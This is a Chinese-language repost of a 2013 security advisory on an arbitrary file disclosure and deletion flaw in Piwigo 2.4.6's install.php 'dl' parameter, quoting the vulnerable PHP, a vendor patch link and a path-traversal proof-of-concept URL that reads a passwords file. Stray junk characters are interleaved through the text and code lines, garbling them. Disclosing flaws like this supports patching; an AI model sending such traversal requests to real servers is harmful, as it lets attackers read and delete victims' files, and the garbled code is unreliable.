Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
; \* J6 |  \% U====================================================================
/install.php:
-------------
: @8 r: c5 }+ G* }113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
# V, ?3 e8 U  j% a116:   header('Cache-Control: no-cache, must-revalidate');
3 b/ v# S& n# P, o117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
8 R. b2 z4 T' h119:   header('Content-Transfer-Encoding: binary');
+ n( Q: p$ ~9 E, U" w& e120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
# Y) B' \# L) U7 h7 s# R124: }
====================================================================
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( ~0 P# A" N- MTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
: o( g& u# M; q' s/ ^& C/ c           MySQL 5.5.25a
( ~& ^6 V, U: I; y  w: h
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience

- J4 I: N  l' s9 {  FAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
: J' c: r# S8 o; tVendor Patch: http://piwigo.org/bugs/view.php?id=2843
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) O9 Y( _; {8 I; {/ y5 C- i0 M' C- u15.02.2013
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--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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